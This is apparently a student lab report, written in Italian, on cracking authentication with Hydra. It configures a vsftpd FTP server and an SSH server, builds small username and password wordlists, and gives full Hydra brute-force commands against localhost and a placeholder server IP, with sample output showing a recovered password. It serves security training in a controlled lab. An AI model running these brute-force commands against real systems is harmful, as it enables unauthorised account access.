Authentication cracking con Hydra

Modalità di sviluppo dell’ esercizio:

- Abilitazione di un servizio SSH e la relativa sessione di cracking dell’autenticazione con Hydra.
- Configurazione e cracking di un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Report sulla Configurazione e Cracking FTP con Hydra

Introduzione

Questo documento descrive i passaggi per configurare un servizio FTP utilizzando vsftpd su Kali Linux e per eseguire un attacco di forza bruta sull'autenticazione FTP utilizzando Hydra.
L'esercizio è diviso in due fasi: configurazione del servizio FTP e cracking dell'autenticazione FTP.

Fase 1: Configurazione del Servizio FTP

1. Installazione del Server FTP vsftpd

Per installare vsftpd su Kali Linux, eseguire i seguenti comandi:

sudo apt update

sudo apt install vsftpd

2. Avvio del Servizio FTP

Per avviare il servizio vsftpd, utilizzare il seguente comando:

sudo service vsftpd start

Per verificare lo stato del servizio:

sudo systemctl status vsftpd

3. Creazione di un Nuovo Utente FTP

Creare un nuovo utente denominato ftp_user con la password ftppass:

```
sudo adduser ftp_user
```

Seguire le istruzioni e impostare la password iniziale come ftppass.

4. Configurazione del File vsftpd.conf

Modificare il file di configurazione vsftpd.conf per abilitare l'accesso locale e i permessi di scrittura:

```
sudo nano /etc/vsftpd.conf
```

Aggiungere o modificare le seguenti righe:

```
local_enable=YES
```

```
write_enable=YES
```

Salvare il file e chiudere l'editor.

5. Ricaricare il Servizio FTP

Ricaricare il servizio per applicare le modifiche:

```
sudo systemctl restart vsftpd
```

Fase 2: Cracking dell'Autenticazione FTP con Hydra

1. Preparazione dei File di Dizionario

Creare un file user.txt contenente il nome utente ftp_user:

```
echo "ftp_user" > user.txt
```

Creare un file psw.txt contenente diverse password, inclusa ftppass:

```
echo -e "password123\nftppass\nqwerty\n123456" > psw.txt
```

2. Esecuzione di Hydra per il Cracking

Utilizzare Hydra per eseguire un attacco di forza bruta sul server FTP:

hydra -L user.txt -P psw.txt ftp://localhost

Dettagli del Comando Hydra

- **-L user.txt: Specifica il file contenente i nomi utente.**
- **-P psw.txt: Specifica il file contenente le password.**
- **ftp://localhost: Indica che l'attacco è su un server FTP locale.**

Output di Hydra

Hydra mostrerà le combinazioni di nome utente e password che risultano valide. Esempio di output:

plaintext

Copia codice

[21][ftp] host: localhost login: ftp_user password: ftppass

Considerazioni Etiche e Legali

- **Utilizzo Responsabile: Usa Hydra solo su sistemi per i quali hai ottenuto il permesso di eseguire test di sicurezza.**
- **Ambiente di Test: Esegui questi test in un ambiente di test controllato per evitare conseguenze legali o etiche.**

Conclusioni

L'esercizio ha dimostrato come configurare un servizio FTP e come eseguire un attacco di forza bruta utilizzando Hydra. Questo è utile per testare la sicurezza del proprio sistema FTP e per imparare le tecniche utilizzate dagli hacker per violare le credenziali di accesso.

Configurazione di un servizio SSH e cracking dell'autenticazione con Hydra

Configurazione del servizio SSH:

- **Installa e configura un server SSH. Se utilizzi una distribuzione basata su Debian, puoi utilizzare i seguenti comandi:**
  - **sudo apt update**
  - **sudo apt install openssh-server**
  - **sudo systemctl enable ssh**
  - **sudo systemctl start ssh**

- **Verifica che il servizio SSH sia attivo con:**
  - **sudo systemctl status ssh**

Preparazione di Hydra per il cracking:

- **Installa Hydra. Su Debian/Ubuntu, puoi farlo con:**
  - **sudo apt install hydra**

Creazione di file di dizionario:

- **Prepara un file di dizionario con una lista di nomi utente e password. Ad esempio, crea usernames.txt e passwords.txtcon i seguenti contenuti:**
  - **echo -e "user1\nuser2\nuser3" > usernames.txt**
  - **echo -e "password1\npassword2\npassword3" > passwords.txt**

Esecuzione di Hydra:

- **Utilizza Hydra per attaccare il servizio SSH configurato:**
  - **hydra -L usernames.txt -P passwords.txt ssh://<IP_SERVER_SSH>**
  - **Sostituisci <IP_SERVER_SSH> con l'indirizzo IP del server SSH configurato.**